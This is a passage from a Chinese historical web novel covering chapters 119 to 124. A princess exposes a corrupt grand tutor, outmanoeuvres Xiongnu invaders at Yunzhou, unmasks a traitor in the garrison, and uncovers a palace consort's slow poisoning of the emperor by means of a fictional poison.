姜稚心中一动,忽然想到什么:“孙尚书,你说这图纸是从稚川商行货仓搜出的。那请问,是何时搜出的?当时货仓中还有何物?”
“三日前搜出的。”孙元培道,“货仓中还有一批茶叶丝绸。”
“三日前…”姜稚算了算时间,“那时我在回京途中,曾在云州停留。”
“韩猛将军可以作证,稚川商行云州分号在三日前,正巧赶上商行在清点库存,准备春季出货。”
韩猛立刻道:“末将确实可以作证。云州分号确实在三日前盘点,末将还派了士兵帮忙维持秩序。所有货物都有详细记录。”
孙元培额头冒汗,试图辩解:“或许是其他分号流出,也说不准...”
“那就更不可能了。”姜稚打断他。
“孙尚书说图纸是在江南搜出的。可据我所知,江南商行的所有分号,在两个月前就接到总号命令,暂停所有货物进出,配合官府调查盐茶**。”
“这件事,江南总督衙门有备案。孙尚书不会不知道吧?”
孙元培顿时哑口无言。
谢太师眼看形势不对,连忙道:“即便如此,也不能完全排除嫌疑。‘稚川先生’身份不明,财富来路不正,本就该查。”
“那就查吧。”姜稚忽然笑了,“太师想查‘稚川先生’,本宫或许可以帮忙。”
“哦?”谢太师眯起眼睛,“公主知道他在哪?”
“不知道。”姜稚摇头,“但本宫知道,若有人朝他泼脏水,他自会出来自证清白。”
她转身面向皇帝:“皇祖父,孙儿建议,由朝廷正式发文,召‘稚川先生’进京接受调查。”
“同时,将此事公告天下。若‘稚川先生’心中无愧,定会现身自证清白。若他不来,再做定论。”
皇帝沉吟片刻:“此法可行。就按稚儿说的办。”
谢太师心中暗喜。
他就不信,那个神秘的“稚川先生”敢来京城。
只要他不来,就可以坐实罪名,连带打击雍王府。
但**的是,姜稚等的就是这个机会。
“父皇,”姜肃忽然出列,“既然要查,就查个彻底。臣这里也有一份奏折,要**谢太师及其党羽。”
他从袖中取出厚厚一叠卷宗:“谢允,颍川谢氏家主,三朝元老。表面清正廉洁,实则贪赃枉法,罪证如下——”
“元嘉五年,黄河决口,谢允侵吞赈灾银三十万两,致三千灾民冻饿而死。”
“元嘉八年,吏部选官,谢允收**赂,卖官倒爵,共计黄金五万两。”
“元嘉十年,北疆军粮调拨,谢允克扣粮饷二十万石,转卖私商,获利百万…”
每念一条,谢太
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师的脸色就白一分。
当姜肃念到“勾结匈奴,泄露军情”时,他终于忍不住了:
“污蔑!全是污蔑!”
“是不是污蔑,一查便知。”姜肃将卷宗呈上,“所有罪证,儿臣已搜集齐全,人证物证俱在。请陛下明察!”
皇帝翻看着卷宗,越看脸色越青。
最后,他猛地将卷宗摔在御案上:“谢允!你还有何话说!”
谢太师跪倒在地,老泪纵横:“陛下,老臣冤枉!这定是雍王陷害!老臣对大晟忠心耿耿,绝无二心!”
“忠心耿耿?”皇帝冷笑,“那你解释解释,为何谢家库房中,搜出了匈奴王庭的信物?”
“为何你长子谢朗,死前与匈奴使者有过来往?”
“为何你次子谢明,在江南私开盐场,****百万两?!”
这一连串质问,让谢太师面如死灰。
他没想到,姜肃竟然查得这么深,这么细。
“陛下…”谢允还想辩解。
“够了!”皇帝厉声道,“传旨!革去谢允太师之职,押入天牢候审!谢家所有人等,一律禁足府中,听候发落!颍川谢氏,全部清查!”
“陛下开恩啊!”谢太师瘫软在地。
侍卫上前,将他拖了下去。
满朝文武,鸦雀无声。
谁也没想到,叱咤朝堂数十年的谢太师,竟会如此倒台。
孙元培等谢家门生,个个脸色惨白,瑟瑟发抖。
皇帝看着他们,冷冷道:“今日之事,到此为止。但彻查不会停。朕倒要看看,这朝中还有多少蛀虫!”
他顿了顿,看向姜稚:“稚儿。”
“孙儿在。”
“虎符你拿回去。”皇帝将虎符递还,“既然镇北王传给你,便是你的机缘。但记住,兵权不是儿戏。北疆军务,你可与寒川商议,不得擅专。”
“孙儿遵旨。”姜稚双手接过虎符。
她心中明白,这是皇帝对她的考验,也是信任。
“退朝!”
谢家的权势,在这次朝会结束后,彻底走上瓦解之路。
第120章 蛇蝎美人上线
回到雍王府,姜稚长舒一口气。
今日朝堂之战,看似赢了,但她知道,这只是开始。
谢家倒了,但世家集团还在。
孙元培等人虽然暂时偃旗息鼓,但定会反扑。
暗梅令背后真正的黑手,还没有浮出水面。、
一切种种的谜团犹如一团乱麻般交缠在一起。
“公主,”惊蛰匆匆走来,“韩将军求见。”
“请。”
韩猛进来,神色凝重:“公主,末将刚刚收到北疆急报。匈奴有异动!他们又集结了五万骑兵,在边境游弋。而且,军中发现了这个。”
他递上一封信。
信上没有署名,只有一行字:
“虎符现世,北疆当乱。三月十五,云州可破。”
姜稚见字心中一沉。
三月十五,就是十天后。
“消息可靠吗?”
“是潜伏在匈奴的探子冒死传回的。”韩猛道,“末将已下令加强戒备,但若匈奴真的大举进攻,云州守军只有三万,恐怕…”
“我明白了。”姜稚点头,“韩将军先回北疆,我随后就到。”
“公主也要去?”韩猛一惊,“北疆危险,您贵为公主…”
姜稚抬手,打断韩猛的话。
“正因为危险,我才要去。”姜稚眼神坚定,“虎符在我手中,北疆若乱,我难辞其咎。而且…”
她看向姜寒川房间的方向:“我总有感觉,十三皇叔的毒,定与北疆军粮案有关。我要去查清楚,到底是谁在背后搞鬼。”
送走韩猛,姜稚去看姜寒川。
他已经能下床走动了,此刻正在院中练剑。
虽然动作还有些虚浮,但一招一式皆有风姿。
“皇叔。”姜稚唤他。
姜寒川收剑,看向她:“朝上的事,我听说了。你做得很好。”
“但麻烦也来了。”姜稚将匈奴异动的事告诉他。
姜寒川听完,沉默片刻:“你要去北疆?”
“嗯。”
“我陪你。”
“不行。”姜稚摇头,“你毒伤未愈,需要静养。”
“北疆我最熟。”姜寒川坚持,“而且,既然你说军粮案的线索也在北疆,那我必须走上一遭。”
姜稚看着他坚定的眼神,知道劝不动,只好妥协:“那要听王太医的,他说你能走,才能走。”
“好。”
两人正说着,福伯匆匆走来:“公主,十三殿下,宫里传来消息,陛下又晕倒了!”
“什么?!”姜稚一惊,“怎么回事?”
“说是急火攻心,太医正在诊治。”福伯低声道,“但宫里传言,陛下这次,情况不妙。”
姜稚和姜寒川对视一眼,都看到了对方眼中的担忧。
皇帝若在这个时候出事,朝局必乱。
而北疆战事将起,内忧外患,大晟危矣。
“准备一下。”姜稚深吸一口气,“我要进宫侍疾。”
“我也去。”姜寒川道。
“你的身体能坚持吗?”
“无妨。”姜寒川眼神坚毅,“这种时候,我必须站在你身边。”
姜稚看着他,心中涌起暖意。
无论前路多难,至少他们都不是孤军奋战。
然而他们不知道的是,此时宗人府中,废太子姜晟收到了一个神秘的包裹。
包裹里没有信,只有三样东西:一张北疆布防图,一枚兵部调令,还有一块刻着红莲的黑色令牌。
姜诚看着这些东西,脸上露出了疯狂的笑容。
“终于…等到这一天了。”
……
皇宫内,乾元殿偏殿。
药香浓得化不开,其中还混杂着龙涎香和陈年木料的气息。
皇帝姜桓躺在龙榻上,双目紧闭,脸色蜡黄。
三名太医轮流诊脉,个个眉头紧锁。
姜稚和姜寒川赶到时,赵德全正守在门外,脸上满是忧色。
“赵公公,皇祖父怎么样了?”姜稚急问。
赵德全摇头:“陛下是急火攻心,加上旧疾复发。太医说,需静养一月,不能再劳心费神。可是…”他压低声音,“如今这朝局,陛下哪里静得下来?”
正说着,殿内传来女子轻柔的说话声:“陛下,该喝药了。”
姜稚循声望去,只见一个身着淡紫宫装的女子端着药碗,正小心翼翼地喂皇帝喝药。
那女子约莫二十出头,眉目如画,尤其是一双桃花眼,眼波流转间竟有六七分像已故的窦贵妃。
姜稚心头一跳。
赵德全注意到她的目光,低声道:“那是新
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晋的王美人,三日前刚入宫。陛下见了她就…唉,老奴也不好多说。”
这时,王美人喂完药,转身看到姜稚二人,连忙行礼:“妾身见过安宁公主,十三殿下。”
声音温软,举止得体,挑不出半分错处。
但姜稚敏锐地察觉到,这女子低头时,眼中闪过一丝难以捕捉的锐光。
“王美人不必多礼。”姜稚淡淡道,“皇祖父的病,有劳美人照顾了。”
“这是妾身分内之事。”王美人垂眸,“太医说陛下需要静养,公主和殿下不如改日再来?”
这话说得委婉,但送客之意明显。
姜稚正要开口,榻上的皇帝忽然咳嗽起来。
王美人连忙回身,帮着皇帝顺气,动作娴熟自然。
姜稚看着这一幕,心中疑云渐起。
这美人出现得太巧了!
长相酷似窦贵妃不说,刚刚得宠,皇祖父就病倒,若说这背后无人安排,鬼才信。
【窦贵妃已死,谁会找一个酷似她的人送进宫?世家?废太子?还是两者联手?】
这心声被姜寒川听到,他看向王美人的目光也多了几分审视。
“既然皇祖父需要静养,我们就不打扰了。”姜稚忽然道,“赵公公,皇祖父的饮食汤药,务必小心查验。”
她说得隐晦,但赵德全是宫中老人,立刻明白:“公主放心,老奴亲自盯着。”
离开乾元殿,姜稚和姜寒川并肩走在宫道上。春日的阳光很好,但宫墙太高,阴影深重。
“那个王美人有问题。”姜寒川低声道。
“我知道。”姜稚点头,“没有证据轻易动不了她。当务之急是北疆,匈奴异动,云州危急,必须尽快北上。”
“我去即可。”
“不行。”姜稚摇头,“你的毒伤至少要调养半月。而且…”她顿了顿,“京城需要有人坐镇,我爹爹一个人,始终是孤掌难鸣。”
“皇祖父病重,世家蠢蠢欲动,废太子那边也不会安分。你留在京城,既能养伤,也能替爹爹分忧。”
姜寒川沉默片刻:“你一个人去北疆,大家都不放心。”
“我不是一个人。韩猛在北疆,山影卫会随行。而且…”
“‘稚川先生’也该露面了。”
第121章 龙榻前的催命符
姜寒川听了姜稚的话,随即明白她的意思:“你打算要用那个身份了?”
“嗯。”姜稚眼神坚定。
“北疆战事,光靠武力不够。匈奴五万骑兵,粮草从何而来?军械从何而来?这背后定有人支持。我要用‘稚川先生’的财力,断了他们的后路!”
这计划大胆,但也只有她能想到,也只有她有这种能力做到。
“要小心。”姜寒川看着她稚嫩却坚毅的侧脸,心中千言万语,最终只化作三个字。
“我会的。”姜稚点头,“皇叔也要小心。京城这潭水,比北疆更深。”
两人在宫门外分别。
姜稚回府准备北上事宜,姜寒川则去了兵部。
虽然毒伤未愈,但龙渊军的军务不能不管。
而他们不知道的是,就在他们离开后不久,王美人端着一碗参汤,再次走进乾元殿。
汤碗是白玉做的,衬得她手指纤纤。
她用银匙舀起一勺,轻轻吹凉,喂到皇帝嘴边。
赵德全在一旁看着,总觉得哪里不对。
银针验过,汤无毒。太医也尝过,确实无恙。
可陛下的脸色,怎么越来越差?
“美人,让老奴来吧。”他上前一步。
王美人微笑:“赵公公伺候陛下辛苦,这点小事就让本宫代劳吧。”说着,她又舀了一勺。
赵德全不好再争,只能看着。
他注意到,王美人每次舀汤时,小指都会不经意地划过碗沿。
那动作极轻,若非他这种在宫中待了一辈子的老人,根本不会注意。
赵德全虽然觉得奇怪,却没敢深想。
如今这宫中,多说多错,多看一眼都可能惹祸上身。
喂完参汤,王美人替皇帝掖好被角,柔声道:“陛下好好休息,妾身晚些再来看您。”
她退出殿外,脸上温柔的笑容瞬间消失,取而代之的是冰冷的算计。
走到无人处,她抬起右手小指,看着指尖那层几乎看不见的透明膏体,唇角勾起一抹冷笑。
“老东西,看你能撑多久。”
……
雍王府书房。
姜稚正在查看北疆地图,惊蛰匆匆进来:“公主,宫里传来消息,废太子姜诚,今日早朝后出现在乾元殿外,长跪请罪。”
“什么?”姜稚放下地图,“他不是在宗人府吗?怎么出来的?”
“说是陛下之前有口谕,准他每月初一、十五出府祭拜生母。”惊蛰道。
“今日是初七,本不该出府。但他听闻陛下病重,跪在宗人府门口大声哭嚎,说愿代父受过。几位世家官员也帮着求情,陛下心软,就准他暂时出来。”
姜稚闻言冷笑。废太子这是要东山再起了。
不亏是原书的男主,气运果然是非同一般。
“他现在人在哪儿?”姜稚问道。
“已经回东宫了。据说瘦得脱了形,一身素衣,见人就跪,哭诉自己当年糊涂,恳求陛下和百官给他一个改过自新的机会。”
好一招以退为进。
废太子这般作态,要么是真悔过,要么是演技太好。
而以她对姜诚的了解,后者可能性更大。
“王美人那边有什么动静?”
“属下正要禀报。山影卫发现,王美人昨夜秘密见了两个人。一个是谢太师的门生,现任吏部侍郎;另一个则是东宫旧人,废太子当年的伴读。”惊蛰细细禀报着。
果然!王美人和废太子是有联系的!
“能听到他们说什么吗?”
“距离太远,听不清。但王美人交给他们一个锦盒,里面装的似乎是信件。”
“另外,太医那边有异常。”惊蛰继续补充。
“陛下的脉案显示,龙体日渐虚弱,但查不出具体病因。几位太医私下议论,说陛下的症状像是慢性**。”
**!姜稚的手不自觉攥紧。
“银针验过吗?”姜稚出声追问。
“验过,无毒。太医也尝过药膳,都没事。但陛下的身体就是一天天垮下去。王太医怀疑,可能是某种罕见的慢性毒,或者是验毒的方法不对。”
惊蛰心中也满是疑惑。
验毒的方法不对?听了这番话,姜稚陷入沉思。
古人验毒多用银针,但银针只能验出**等含硫毒物。若是其他毒,银针
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根本验不出来。
“验毒…”姜稚嘴里喃喃,脑中突然灵光一闪。
【我怎么把那本书忘记了。宋慈所著的刑侦奇书《洗冤录》!】
姜稚马上吩咐惊蛰:“去请王太医,就说我肩伤不适,请他来看看。记住,要秘密地请,别让人知道。”
“属下明白。”
半个时辰后,王太医匆匆赶到。
姜稚屏退左右,只留惊蛰在旁。
“王太医,我有一事请教。”她开门见山,“若有人手上涂了**,通过接触食物下毒,该如何查验?”
王太医一愣:“这…老臣从未听过此法。寻常验毒都是用银针。”
“如果**本身无毒,但与食物中的某种成分反应后产生毒性呢?”姜稚追问。
王太医沉思良久,忽然眼睛一亮:“公主所言,让老臣想起前朝一案。”
“死者**身亡,但银针验毒无毒。后来发现,凶手在酒壶把手涂了‘断肠草汁’,而死者饮酒前吃了蜂蜜。二者单独无毒,混合后却是剧毒!”
“正是此理!”姜稚击掌。
“我这还有一本书籍抄录本,希望对王太医有帮助。”
王太医接过一看,其中内容让他震惊不已。
册子是姜稚在太医来之前,凭借记忆写下的《洗冤集录》中关于下毒的记载内容。
里面附有详细的注解和图解,其中就包括“指纹验毒法”和“银针探喉法”。
“公主,这是…”
“偶然所得。”姜稚含糊带过,“王太医,我想请你帮忙,秘密查验陛下的饮食器皿,尤其是王美人经手过的。就用这册子上的方法。”
王太医神色凝重:“老臣明白。但此事风险极大,若被发现后果不堪设想。”
“若皇祖父真被人下毒,后果只会比这更严重后果。”姜稚正色道,“王太医,您医者仁心,难道要眼睁睁看着大晟天下大乱吗?”
王太医深吸一口气:“老臣遵命。”
送走王太医,姜稚走到窗前。
庭院中的老梅已经谢了,绿叶初绽。
春天本该充满希望,可她却感到山雨欲来。
第122章 盐茶下架,边疆市场战打响
书房内,姜稚转身对惊蛰吩咐:“传令山影卫,加派人手监视东宫和王美人。另外,让福安叔来见我。”
很快,福安赶到。
“公主有何吩咐?”
“我要北上,京城这边交给你。”姜稚道,“商行所有账目重新核查,尤其是与江南、北疆往来的部分。我怀疑有人做假账,栽赃陷害。”
“是。”
“提前联络我们在朝中的盟友,让他们做好准备。我的好伯父既然回朝,世家必然反扑。”姜稚继续吩咐。
“明白。”福安应下:“属下都记下了。”
安排好京城事宜,姜稚开始准备北上。
这次她不仅要带山影卫,还要以“稚川先生”的身份,调动商行在北疆的全部资源。
三月初八,清晨。
姜稚一身男装,作少年公子打扮。
她正要上马,忽然听到身后传来马蹄声。
回头,只见姜寒川策马而来。
他脸色依然苍白,但眼神坚定。
“皇叔?”姜稚惊讶,“你怎么来了?你的伤…”
“无妨。”姜寒川勒住马,“我还是决定跟你一起去。”
“可是…”
“北疆我比你熟。”姜寒川打断她,“而且,韩猛传来最新军报,匈奴五万骑兵已抵达云州百里外,随时可能攻城。你一个人去,我不放心。”
姜稚看着他,知道他已下定决心。
“那你的身体…”
“路上调养。”姜寒川道,“陈凛带了王太医配的药,足够支撑到北疆。”
话已至此,姜稚只能点头:“好,那我们同行。”
两人并骑出城,五十山影卫紧随其后。
晨光熹微,将他们的影子拉得很长。
出了城门,姜寒川忽然道:“稚儿,有件事我要告诉你。”
“什么?”
“军粮案有了新线索。周猛死前,曾留下半封**。**中提到,指使他盗粮的,是一个‘宫中贵人’。”
宫中贵人?
又是宫中贵人!
“**现在何处?”姜稚问。
“在韩猛手中,我让他秘密保管。”姜寒川回答,“此事关系重大,我不敢轻信任何人。”
姜稚点头。
确实,如今这潭水确实太深了。
队伍一路北上,日夜兼程。
姜稚肩伤未愈,骑马时间长了就疼得厉害,但她咬牙坚持。
姜寒川看在眼里,心中刺痛,却知劝不住她。
第三日午时,他们抵达云州。
城墙上旌旗猎猎,守军严阵以待。
韩猛亲自出城迎接,见到姜寒川,又惊又喜:“十三殿下!您怎么来了?您的毒全解了?”
“无碍。”姜寒川摆手,“军情如何?”
韩猛脸色凝重:“匈奴五万骑兵驻扎在黑水河对岸,已对峙三日。他们按兵不动,像是在等什么。”
“不是等粮草,就是等军械,也有可能是在等内应。”姜稚忽然道。
韩猛这才注意到姜稚身边的“少年公子”,仔细一看,惊道:“公主?!”
姜稚点头:“韩将军,城中现在有多少守军?粮草能撑多久?”
“守军三万,粮草充足,至少能撑三个月。”韩猛道,“但匈奴若强攻,三万对五万,于我们而言非常不利”
“不必硬拼。”姜稚道,“韩将军,带我们去看看城防。”
韩猛领着二人登上城墙,黑水河对岸的景象尽收眼底。
匈奴营帐连绵数里,旌旗如云,战马嘶鸣声隐隐传来。
姜稚仔细观察,忽然道:“他们的战马,好像不太对劲。”
“公主看出来了?”韩猛苦笑,“这些匈奴骑兵骑的都是北疆骏马,而且马鞍、马镫都是大晟军中的制式。末将怀疑,有人暗中向他们提供军需。”
果然如此。
北疆军械流失,军粮被劫,战马被盗…
这一系列事件背后,是一张精心编织的大网。
姜稚转身朝着惊蛰吩咐,“惊蛰,通知云州分号,从即日起,北疆所有盐、茶等交易,全部暂停。商行所有货仓,即日起只进不出。”
韩猛在旁听着一愣:“公主,这会不会引起恐慌?”
“就是要让他们恐慌。”姜稚眼神锐利,“匈奴五万大军,每日消耗粮草无数。他们敢深入大晟边境至此,必定有补给线。断
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了盐茶铁器交易,看他们能撑多久。”
姜寒川也在此时开口,“稚儿的判断,不会错,特殊情况当行特殊事。”
命令很快传遍云州。
消息一出,市场震动。
当日下午,姜稚在云州最大的茶楼“一品轩”设宴,邀请北疆所有大商贾。
三十余位商贾齐聚一堂,面面相觑,不知这位神秘的“稚川先生”葫芦里卖的什么药。
姜稚仍作男装,戴半张银质面具,只露出一双清亮的眼睛。
她坐在主位,声音经过特制传声筒处理,显得低沉威严:
“诸位,今日请你们来,是有一桩生意要谈。”
一个胖商人试探道:“不知稚川先生要谈什么生意?如今战事将起,这生意实在是不好做啊。”
“正是战事将起,才有大生意。”姜稚缓缓道,“我要收购诸位手中所有存粮,价格按市价加三成。”
满堂哗然。
“加三成?稚川先生好大的手笔!”
“可是先生,如今匈奴压境,粮食是保命的,卖了的话我们吃什么?”
姜稚抬手,压下议论:
“粮食我收购,但不会运走,全部存入云州官仓,由韩将军统一调配。战事期间,所有粮商家属,可优先领取口粮。战事结束后,按存粮数量,返还双倍。”
这条件太优厚了,商贾们听了很是心动。
但仍有人犹豫:“稚川先生,不是我们不信你,只是这兵荒马乱的,万一…”
“没有万一。”姜稚打断他,“我以稚川商行全部资产作保。若云州城破,诸位损失,我十倍赔偿。”
十倍赔偿!
这魄力,震惊了所有人。
胖商人一咬牙:“好!我王家粮行存粮三千石,全卖给先生!”
见有人带头,其他人纷纷跟进。
不到一个时辰,姜稚收购了云州城内近八成的存粮,共计五万石。
宴席散后,韩猛忍不住问:“公主,已经收购了这么多粮食。接下来,我们要如何应对匈奴?”
“不是应对,”姜稚摘下面具,眼中闪过锐光,“接下来,才是我们真正的反击时刻!”
第123章 军事专家在线教学
“韩将军,你立刻派人散播消息,就说云州城内缺粮,商贾囤积居奇,粮价飞涨。”姜稚对着韩猛吩咐。
“啊?这不是动摇军心吗?”韩猛不解。
“是引蛇出洞。”姜稚解释,“匈奴在大晟境内必有眼线,得知云州缺粮,定会加紧攻势。而我们要做的,是在他们攻城时,烧了他们的粮草。”
躲在暗处的姜寒川慢慢走出来,出声道:“你是要诱敌深入,然后断其粮道?”
“对。”姜稚走到地图前,指着黑水河上游一处峡谷,眼中闪过智慧的光芒。
“这里叫‘鬼哭峡’,是匈奴粮草运输的必经之路。韩将军,你派一千精兵,携带火油火箭,埋伏在此。待匈奴主力攻城,就烧了他们的粮车。”
“可是公主,我们如何知道匈奴何时运粮?”
“今晚子时。”姜稚肯定道,“我收到密报,匈奴粮车今晚子时经过鬼哭峡。”
韩猛震惊:“公主在匈奴军中也有眼线?”
姜稚笑而不答。
哪有什么眼线,是她根据匈奴营帐的布局、炊烟的数量、战马的状态,综合推算出来的。
她自己也没想到,穿书前,在历史系旁听的军事后勤知识,在这里派上了用场。
一切按计划进行。
当晚亥时,匈奴大营果然有了动静。
一队约五百人的骑兵护送着数十辆粮车,向匈奴大营方向逼近。
子时一刻,粮车进入鬼哭峡。
“放箭!”
随着韩猛一声令下,火箭如流星般射向粮车。
火油泼洒,粮车瞬间燃起大火。
匈奴骑兵大乱。
不到半个时辰,这场没有悬念的战斗就结束了。
匈奴粮车全部被毁,护粮骑兵死伤大半,只有少数逃回大营。
消息传回云州时,天已微亮。
姜稚站在城楼上,看着远处匈奴大营的骚动,唇角微扬。
首战告捷。
“在想什么?”姜寒川走到她身边。
“想京城,想皇祖父。”姜稚轻声道,“皇叔,你说我们在这边打生打死,京城那些人却在算计那个位子。咱们做的这一切,值得吗?”
姜寒川沉默良久,才道:“值得。因为这是我父亲守护过的土地,这是大晟百姓安居的家园。稚儿,有些事,总要有人去做。”
姜稚转头看他。
晨光中,他的侧脸坚毅如刻,眼中是义无反顾的决绝。
她忽然明白了,为什么原著中他会落得那样的结局——
因为他太正直,太忠诚,不会耍阴谋诡计,所以才被那些小人算计。
但没关系,这一次,有她在!
【我是绝对不会让历史重演。皇叔,我会保护你,保护大晟,保护这来之不易的太平。】
这心声清晰传入姜寒川耳中。
他心头一震,看向姜稚,却见少女已转身下楼,背影挺拔如竹。
风吹起她的衣袂,猎猎作响。
北疆的风,很大。
但再大的风,也吹不垮某些人的脊梁。
而此刻的京城,乾元殿中,王美人正端着一碗莲子羹送到皇帝姜桓嘴边,小指不经意轻轻划过碗沿。
皇帝喝下羹汤,咳嗽着问:“北疆,战事如何?”
王美人柔声道:“陛下放心,有十三殿下在,北疆定能无恙。倒是太子殿下,今日又跪在殿外,求见陛下。”
皇帝浑浊的眼中闪过一丝犹豫。
殿外,废太子姜晟一身素衣,跪在青石板上,泪流满面,眼底深处却是满满的算计。
……
云州城内。
晨雾尚未散尽,城墙上的血迹已经干涸发黑。
昨夜匈奴发动了第一轮猛攻,云梯架了三次,箭雨下了五轮,最终在护城河前被击退。
但守军也付出了惨重代价。
伤亡八百余人,其中韩猛麾下最精锐的先锋营折损过半。
“他们疯了。”韩猛站在城头,看着对岸匈奴大营中升起的浓烟,“粮草被烧,不退反进,这是要拼个鱼死网破。”
姜稚肩头的伤又开始疼,但她没吭声,只是仔细查看城防:“**机损坏多少?箭矢还剩多少?”
“**机坏了七架,工匠正在抢修。箭矢只剩不到十万支。”韩猛脸色难看,“若匈奴持续猛攻,最多撑三天。”
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三天。
姜稚心中计算着时间。从云州到最近的援军驻地,最快也要五天。
必须想办法再拖延两日。
“韩将军,昨夜俘虏的那个匈奴千夫长,招了什么?”
韩猛摇头:“嘴硬得很,只说奉命攻城,其他一概不知。不过,在他身上搜出了这个。”韩猛将东西交给姜稚。
那是一块羊皮,上面用朱砂画着云州城的布防图,标注之详细令人心惊。
上面甚至连哪个位置的城墙有裂缝,哪个箭楼的视野有盲区,都标得清清楚楚。
“内鬼给的。”姜稚声音冰冷,“而且级别不低,至少是参将以上。”
姜寒川站在她身侧,忽然开口:“昨夜匈奴主攻的是西门,而我们布防最弱的也是西门。这个信息,只有军中高层知道。”
三人对视,都看到了彼此眼中的凝重。
内鬼就在他们身边,而且正在给匈奴传递情报。
“必须尽快将此人揪出来。”姜稚道,“韩将军,你放出消息,就说我伤势恶化,昏迷不醒。另外,伪造一份新的布防图,故意露出几个破绽,看谁往外传。”
“引蛇出洞?”韩猛会意,“末将这就去办。”
韩猛离开后,姜寒川忽然晃了晃,扶住城墙才站稳。
“皇叔!”姜稚连忙扶住他,“你没事吧?”
“没事。”姜寒川脸色苍白,额头渗出冷汗,“王太医的药很有效,只是还有些余毒未清。”
姜稚看着他强撑的样子,心中一痛。
她知道姜寒川是不想让她担心,但这样的硬撑,只会加重伤势。
“皇叔,你先回府休息。城防的事,交给我和韩将军。”
“不行。”姜寒川摇头,“内鬼未除,你一个人太危险。”
“我有山影卫。”
“山影卫再强,也防不住暗箭。”姜寒川看着她,眼神认真,“我在,至少可以护住你的平安。”
这话说得有些逾矩,但情真意切。
姜稚心头微颤,扶住姜寒川的胳膊:“那至少去城楼里坐着,别站在风口。”
日光中,两人相携着走下城墙。
第124章 抓出内奸,护卫边疆
姜稚和姜寒川二人走进城楼。
姜稚倒了杯热水递给姜寒川。
窗外传来工匠修复**机的敲打声,还有伤兵的呻吟。
声音混杂在一起,显得格外沉重。
“皇叔,你说内鬼会是谁?”姜稚忽然问。
姜寒川沉思片刻:“云州守军中,韩猛是主将,副将三人,参将二人。这些人里,有两个是世家子弟,三个是寒门出身。若按动机,世家子弟可能性更大。”
“谢家倒了,但其他世家还在。他们很可能怕雍王府坐大,怕寒门崛起,所以不惜勾结外敌,也要拖垮我们。”
姜稚点头。
这个分析很合理。但她总觉得,事情没这么简单。
【如果只是世家报复,为何要选择匈奴?与虎谋皮,风险太大。除非,他们本就与匈奴早有勾结,之前军粮案、军械流失案,都是同一批人所为。】
这个心声被姜寒川听到,他的眼神变得越发锐利:“稚儿,你还记得周猛那半封**吗?”
“记得。他说指使他的是‘宫中贵人’。”
“如果这个‘宫中贵人’,不仅指使了军粮案,还勾结了匈奴呢…那一切就说得通了。”姜寒川沉吟着。
“有人在下一盘大棋,既要除掉雍王府,又要掌控北疆兵权,甚至是谋夺皇位。”
姜稚倒吸一口凉气。
这个推测太大胆,但也最合理。
只有这样的动机,才值得冒这么大的风险。
正说着,惊蛰匆匆进来:“公主,韩将军那边有消息了。”
“说。”姜稚站起身,迫不及待地询问。
“消息放出去后,副将孙威表现异常。他先是去医馆打听您的病情,然后借口巡城,往城外方向去了。山影卫跟踪发现,他在城西乱葬岗埋了东西。”
“我已经将东西取出带回。”
惊蛰从怀中掏出一个油纸包。
打开后,里面赫然是一份布防图——
正是姜稚让韩猛伪造的那份。
“果然是他。”姜稚冷笑,“我记得孙威好像是孙元培的侄子吧?”
“是。”韩猛也赶来了,脸色铁青,“末将怎么也没想到,会是这小子。他平时看着挺老实。”
“老实人才不会引人注意。”姜稚道,“韩将军,先别打草惊蛇,咱们将计就计。今晚按照假布防图布防,引匈奴来攻。我们在他们必经之路上设伏。”
“公主的意思是…”
“瓮中捉鳖。”姜稚眼中闪过锐光。
当夜子时,匈奴果然再次来袭。
这次他们集中兵力,猛攻布防图上标注的“薄弱点”——
城南一段年久失修的城墙。
但等待他们的,不是空虚的防守,而是早已准备好的滚油和火箭。
“放!”
随着韩猛一声令下,滚烫的热油倾泻而下,紧接着火箭如雨。
匈奴先锋部队瞬间陷入火海,惨叫声响彻夜空。
与此同时,姜寒川率领一千精兵从侧翼杀出,直扑匈奴中军。
他虽然毒伤未愈,但战神之名岂是虚传?
一杆**如蛟龙出海,所过之处无人能挡。
匈奴大乱,仓皇后撤。
这一仗,歼敌两千余,缴获战马三百匹,军械无数。
大胜的消息传回城中,军民振奋。
但姜稚没有放松警惕,因为孙威逃跑了,还还没抓到。
天亮时分,山影卫在孙威住处搜出了与匈奴往来的密信。
信中不仅透露了云州布防,还提到一个惊人的信息:
“三月十五,京城有变,速破云州,南下接应。”
“咱们必须尽快回京。”姜稚对姜寒川道,“这里局势已经稳住,剩下的交给韩将军,我们马上走。”
姜稚咬牙,“京城若乱,北疆打再多胜仗也没用。”
她吩咐韩猛坚守云州,又让惊蛰调集山影卫,准备轻装简从,连夜返京。
而此时的京城,正酝酿着一场更大的风暴。
……
三月十一,乾元殿。
王太医跪在殿中,额头抵着冰冷的地砖,声音发颤:“陛下,老臣有要事禀报。”
皇帝靠在榻上,脸色蜡黄,眼神浑浊:“说。”
“老臣近日研读古籍,发现一种新的验毒之法。”王太医从怀中取出姜稚给的那本手抄册子,“此法名为‘指纹验毒’,源自《洗冤集录》。
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”
“据记载,有些毒物单独无毒,但与特定之物接触后便会产毒。下毒者往往将其中一种东西投放在其他地方,借喂食之机再投下另一种无毒东西,银针难以查验。”
皇帝浑浊的眼中闪过一丝清明:“你的意思是…”
“老臣斗胆,请求查验陛下近日所用器皿。”王太医重重磕头,“尤其是王美人经手过的碗碟杯盏。”
赵德全站在一旁,大气不敢出。
良久,皇帝缓缓道:“准。”
王太医如蒙大赦,立刻取出特制的药水。
这是按册子上的配方配制的,能显影出某些特定毒物的痕迹。
他先验了药碗,银针探入,无毒。
但用药水涂抹碗沿后,几个清晰的指纹渐渐显现。
那是王美人的指纹,指纹处呈现出诡异的青黑色。
“果然有毒!”王太医声音发颤。
他连忙将药碗呈到皇帝面前,“陛下请看,这药碗变色了!”
皇帝猛地坐起,盯着王太医手中的药碗,眼中爆发出骇人的光芒:“王美人!”
“是何毒?”皇帝剧烈喘息着,询问王太医。
“观其色,嗅其味,应是一种名为‘相思引’的慢性奇毒。”
“此毒单独无毒,但若遇人参,便会缓慢产毒,侵蚀五脏。陛下近日服用的参汤中应该一直掺有此物。”
皇帝听后大怒,胸口起伏剧烈。
“陛下息怒。”赵德全连忙劝道,“还需确凿证据。”
“证据?”皇帝冷笑,“传姜肃进宫!朕倒要看看,是谁在背后搞鬼!”
半个时辰后,姜肃匆匆入宫。
看了王太医的验毒结果,他心中已有计较。
“陛下,此事不宜声张。”他低声道,“王美人背后定有人指使,若打草惊蛇,恐难揪出真凶。”
“那你说怎么办?”
